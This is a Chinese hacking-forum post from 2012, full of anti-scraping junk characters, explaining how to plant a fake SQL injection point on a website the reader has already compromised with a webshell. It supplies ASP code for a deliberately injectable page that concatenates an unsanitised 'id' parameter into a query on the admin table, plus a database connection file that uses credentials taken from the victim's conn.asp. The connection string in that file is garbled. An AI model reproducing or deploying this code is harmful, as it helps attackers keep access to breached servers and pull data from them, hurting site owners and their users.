找回密码
 立即注册
查看: 2522|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵
7 q1 |0 I: N0 z
2 ^- W5 g! I, r5 z) A$ E5 V0 a" [& P今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
& }9 m+ g/ m! ^  x2 C# i8 J1 `! v
" O+ j& \: |- i/ {: E# b+ R6 q' K这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
: X) A5 i+ n9 W  I3 R/ X; p7 `: ~7 _' Z  \
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和1 _* l' n! t/ y% Q

+ J5 i3 ]# e4 P3 k+ w5 Y- T+ i密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
; t  S3 F* N  M/ U4 U
! d  ^2 P* Z$ b; L, }' {- e9 C因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
3 f) G7 @6 s. f6 f
. [: p8 \5 K8 z! {程序代码1 Z, @2 U: k1 Q6 ^  M/ N) ]4 ]
<!--#include file="xx.asp"-->0 t! X7 P8 j$ A" s
<%
) k! J7 @5 s6 k2 ~* k4 k: N! Xset rs=server.createobject("ADODB.recordset")
) X: ]6 ^9 \6 `. Wid = request("id")
6 A4 v) ]8 \. |1 i# VstrSQL = "select * from admin where id=" & id( s6 L9 O! t) l
rs.open strSQL,conn,1,3
4 E+ V5 l$ G2 T  D6 u9 `" D' krs.close5 u  ~! P& t* Z! N  b. i' T
%>% _3 Z+ U$ r9 M) I& D3 Q$ N
+ O2 Q! L# D( E( z6 P6 w5 R' L
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
, O- g) ~+ K2 Z+ E  j3 K  F) b6 i% d& P6 |6 C  l$ T* Z
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!# Q3 G: I& y8 }+ q

: @! ^% f# t- E1 V然后就要构造一个连接数据库的文件了,代码如下:
4 ]  A/ c# \5 ~1 e+ N程序代码. ^: S5 |# V/ \5 n; F7 G
<%        ) T* s! h: u6 p- e
strSQLServerName = "000.000.000.000"     '服务器名称或地址
) T' `( L" I4 P' d8 r+ q7 y8 l% GstrSQLDBUserName = "sqlname"         '数据库帐号
1 n$ a$ |9 c( M! k' }strSQLDBPassword = "sqlpass"         '数据库密码
5 L# {$ q( s4 XstrSQLDBName = "sqldataname"           '数据库名称# i* }- S! x$ ]5 I% z+ n
Set conn = Server.CreateObject("ADODB.Connection")' h! T+ b4 ?( E" Q& f2 P
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
  ^* U# @& q4 P0 mconn.open strCon: E9 A" h: C/ F
%>2 j& |7 ~3 U9 h/ _- e+ @. x. U
# h0 B7 U& K8 _8 [
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,- z- _' i) X: y* Q3 F0 @# Y
3 X/ r* _4 ?; _6 \1 t1 `
就这样,正常情况下,就OK了,伪造成功……
. f6 y" r5 q8 ?) v- L7 I
9 ~$ v0 {' v6 \( h0 a' E           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表